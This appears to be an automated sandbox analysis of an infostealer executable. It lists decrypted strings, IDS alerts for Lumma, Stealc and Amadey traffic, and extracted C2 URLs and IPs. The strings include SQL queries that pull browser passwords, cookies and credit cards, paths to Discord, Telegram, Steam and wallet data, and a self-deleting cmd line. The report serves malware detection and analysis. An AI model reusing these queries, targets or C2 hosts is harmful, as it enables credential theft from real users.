Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GdiplusStartup
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GdiplusShutdown
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GdipDisposeImage
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GdipFree
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CoUninitialize
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CoInitialize
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CoCreateInstance
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: BCryptDecrypt
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: BCryptSetProperty
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: BCryptDestroyKey
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetWindowRect
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetDesktopWindow
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetDC
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CloseWindow
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: wsprintfA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CharToOemW
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: wsprintfW
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: RegQueryValueExA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: RegEnumKeyExA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: RegOpenKeyExA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: RegCloseKey
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: RegEnumValueA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CryptUnprotectData
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SHGetFolderPathA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: ShellExecuteExA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: InternetOpenUrlA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: InternetConnectA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: InternetCloseHandle
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: HttpSendRequestA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: HttpOpenRequestA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: InternetReadFile
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: InternetCrackUrlA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: StrCmpCA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: StrStrA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: StrCmpCW
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: PathMatchSpecA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: RmStartSession
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: RmRegisterResources
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: RmGetList
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: RmEndSession
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: sqlite3_open
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: sqlite3_step
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: sqlite3_column_text
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: sqlite3_finalize
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: sqlite3_close
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: sqlite3_column_blob
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: encrypted_key
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: PATH
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: NSS_Init
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: NSS_Shutdown
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: PK11_FreeSlot
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: PK11_Authenticate
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: C:\ProgramData\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: browser:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: profile:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: url:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: login:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: password:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Opera
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: OperaGX
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Network
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: cookies
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: .txt
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: TRUE
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: FALSE
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: autofill
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: history
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: cc
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: name:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: month:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: year:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: card:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Cookies
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Login Data
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Web Data
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: History
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: logins.json
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: formSubmitURL
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: usernameField
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: encryptedUsername
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: encryptedPassword
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: guid
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: cookies.sqlite
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: formhistory.sqlite
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: places.sqlite
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: plugins
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Local Extension Settings
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Sync Extension Settings
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: IndexedDB
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Opera Stable
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Opera GX Stable
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CURRENT
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: chrome-extension_
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Local State
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: profiles.ini
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: chrome
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: opera
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: firefox
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: wallets
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: ProductName
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: x32
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: x64
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: DisplayName
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: DisplayVersion
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Network Info:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - IP: IP?
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Country: ISO?
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: System Summary:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - HWID:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - OS:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Architecture:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - UserName:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Computer Name:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Local Time:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - UTC:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Language:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Keyboards:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Laptop:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Running Path:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - CPU:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Threads:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Cores:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - RAM:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - Display Resolution:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: - GPU:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: User Agents:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Installed Apps:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: All Users:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Current User:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Process List:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: system_info.txt
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: freebl3.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: mozglue.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: msvcp140.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: nss3.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: softokn3.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: vcruntime140.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: \Temp\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: .exe
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: runas
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: open
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: /c start
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: %DESKTOP%
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: %APPDATA%
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: %USERPROFILE%
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: %DOCUMENTS%
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: %RECENT%
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: *.lnk
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: files
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: \discord\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: \Telegram Desktop\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: key_datas
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: map*
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Telegram
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Tox
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: *.tox
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: *.ini
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Password
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: 00000001
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: 00000002
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: 00000003
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: 00000004
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Pidgin
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: \.purple\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: accounts.xml
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: token:
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Software\Valve\Steam
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SteamPath
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: \config\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: ssfn*
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: config.vdf
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: DialogConfig.vdf
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: libraryfolders.vdf
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: loginusers.vdf
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: \Steam\
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: sqlite3.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: done
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: soft
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: https
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: POST
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: HTTP/1.1
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: hwid
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: build
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: token
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: file_name
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: file
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: message
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: screenshot.jpg

Source: ZBbOXn0a3R.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.6:49836 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49873 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49953 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49961
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49763 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49763 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49708 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49708 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49769 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49836 -> 172.67.165.185:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: inherineau.buzz
